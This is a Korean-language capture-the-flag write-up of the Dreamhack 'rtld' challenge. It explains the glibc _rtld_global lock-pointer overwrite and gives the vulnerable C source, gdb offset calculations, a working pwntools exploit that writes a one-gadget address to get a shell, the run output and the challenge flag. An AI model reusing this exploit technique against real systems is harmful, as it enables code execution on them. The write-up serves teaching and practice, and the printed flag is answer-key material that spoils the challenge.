dreamhack - rtld writeup
[dreamhack] rtld writeup
1. 문제

이 문제는 작동하고 있는 서비스(rtld)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 rtld overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
void get_shell() {
system("/bin/sh");
}
int main()
{
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout);
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
stdout
의 주소를 공개해주고, 원하는 주소에 원하는 값을 쓰도록 한다.
문제에서 rtld overwrite
를 이용하라 했으니 이걸 활용해보자.
2.1. rtld란?
rtld
는 ELF 바이너리를 실행할 때 라이브러리를 동적으로 로딩해주는 시스템 구성 요소이다. ld.so
등의 파일이 실제 동작을 담당하며, 실행파일이 필요한 .so
공유 라이브러리를 찾아서 메모리에 로딩하고, 심볼을 연결한다.
_rtld_global
은 glibc 내부에서 사용하는 전역 링커 상태 구조체로서, 특히 _rtld_global._dl_rtld_lock_recurive
를 변조하면 내부 포인터가 호출될 때 해당 함수로 연결되게 만들 수 있다.
// _rtld_global._dl_rtld_lock_recursive 구조체
typedef struct {
int lock;
void *owner;
int count;
} recursive_lock;
여기서 owner
포인터가 exit()
이후에 glibc 내부 정리 과정에서 실행되게 된다.
// exit() -> __run_exit_handlers() -> _dl_fini() -> _dl_close() -> __rtld_lock_lock_recursive()
2.2. rtld overwrite
따라서 이 구조체를 덮어서 exploit을 하는 것이 rtld overwrite
기법인데, 이 _rtld_global
은 libc
가 아니라 ld
에 존재한다. 따라서 단순히 libc base를 구해서 offset을 구하면 안되고,
- 1. libc base 구하기
- 2. ld base 구하기
- 3. _rtld_global 위치 구하기
- 4. _dl_rtld_lock_recurive 구하기
이런 단계로 가야한다. 이것 때문에 많이 삽질함…
특히 patchelf
로 맞춰주고 실행하면 로컬에서는 libc base를 기준으로 해도 되지만 원격에서는 잘안됐다. 이유는 원격은 16.04버전인데 로컬은 24.02버전이기 때문. 그래서 어쩔 수 없이 주어진 Dockerfile로 환경을 세팅하고 해야했다.

System Hacking - Dockerfile 기반 환경 세팅
https://jjblog.duckdns.org/system%20hacking/2025/07/01/Dockerfile-%EA%B8%B0%EB%B0%98-%ED%99%98%EA%B2%BD-%EC%84%B8%ED%8C%85.htmlFROM ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6
ENV user rtld
ENV chall_port 10001
RUN apt-get update
RUN apt-get install -y socat gdb
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
두번의 문제가 있었는데, 처음에 세팅 다했다가 gdb
가 안깔려있어서 Dockerfile에 추가해줬다.
그 다음엔 파일이 있는데도 없다고 나오면서 실행 자체가 안되길래 뭐지 했는데 patchelf
로 패치해준 바이너리를 도커로 넣으면 실행이 안돼서 원래 오리지널 파일로 다시 넣어줬다.
그리고나서 gdb
를 통해 libc base
와 ld base
간의 거리, 그리고 _rtld_global
오프셋을 계산했다.
(gdb) info proc mappings
process 46
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x5bc860000000 0x5bc860001000 0x1000 0x0 /home/rtld/rtld
0x5bc860201000 0x5bc860202000 0x1000 0x1000 /home/rtld/rtld
0x5bc860202000 0x5bc860203000 0x1000 0x2000 /home/rtld/rtld
0x7db81d94e000 0x7db81db0e000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7db81db0e000 0x7db81dd0e000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7db81dd0e000 0x7db81dd12000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7db81dd12000 0x7db81dd14000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7db81dd14000 0x7db81dd18000 0x4000 0x0
0x7db81dd18000 0x7db81dd3e000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7db81df37000 0x7db81df3a000 0x3000 0x0
0x7db81df3d000 0x7db81df3e000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7db81df3e000 0x7db81df3f000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7db81df3f000 0x7db81df40000 0x1000 0x0
0x7ffc87f7b000 0x7ffc87f9c000 0x21000 0x0 [stack]
0x7ffc87fd7000 0x7ffc87fdb000 0x4000 0x0 [vvar]
0x7ffc87fdb000 0x7ffc87fdd000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) p/x 0x7db81dd18000 - 0x7db81d94e000
$3 = 0x3ca000
(gdb) p/x 0x7db81df3e040 - 0x7db81dd18000
$4 = 0x226040
컨테이너 내부에는 pwntools
를 깔지않아서 그냥 info proc mappings
명령어로 확인했다.
예상대로 정말 애매하게 달랐다. 이걸 기준으로 다시 리모트용 exploit을 작성했다.
from pwn import *
#p = process("./rtld")
p = remote("host3.dreamhack.games", 20557)
#p = remote("localhost", 10001)
elf = ELF("./rtld")
libc = ELF("./libc-2.23.so")
p.recvuntil(b"stdout: ")
stdout_addr = int(p.recv(14).decode(), 16)
libcbase = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
print(hex(libcbase))
# remote
ldbase = libcbase + 0x3ca000
_rtld_global = ldbase + 0x226040
dl_rtld_lock_recursive = _rtld_global + 0xf08
# local
#_rtld_global = ldbase + 0x626040
#dl_rtld_lock_recursive = _rtld_global + 0xf08
print(hex(dl_rtld_lock_recursive))
og = libcbase + 0xf1247
print(hex(og))
pause()
p.sendlineafter(b"addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter(b"value: ", str(og))
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/rtld$ python3 e_rtld.py
[+] Opening connection to host3.dreamhack.games on port 20557: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rtld/rtld'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rtld/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f0496f97000
0x7f0497587f48
0x7f0497088247
/home/ubuntu/dreamhack/level2/rtld/e_rtld.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"addr: ", str(dl_rtld_lock_recursive))
/home/ubuntu/dreamhack/level2/rtld/e_rtld.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"value: ", str(og))
[*] Switching to interactive mode
$ id
uid=1000(rtld) gid=1000(rtld) groups=1000(rtld)
$ cat flag
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}
해결~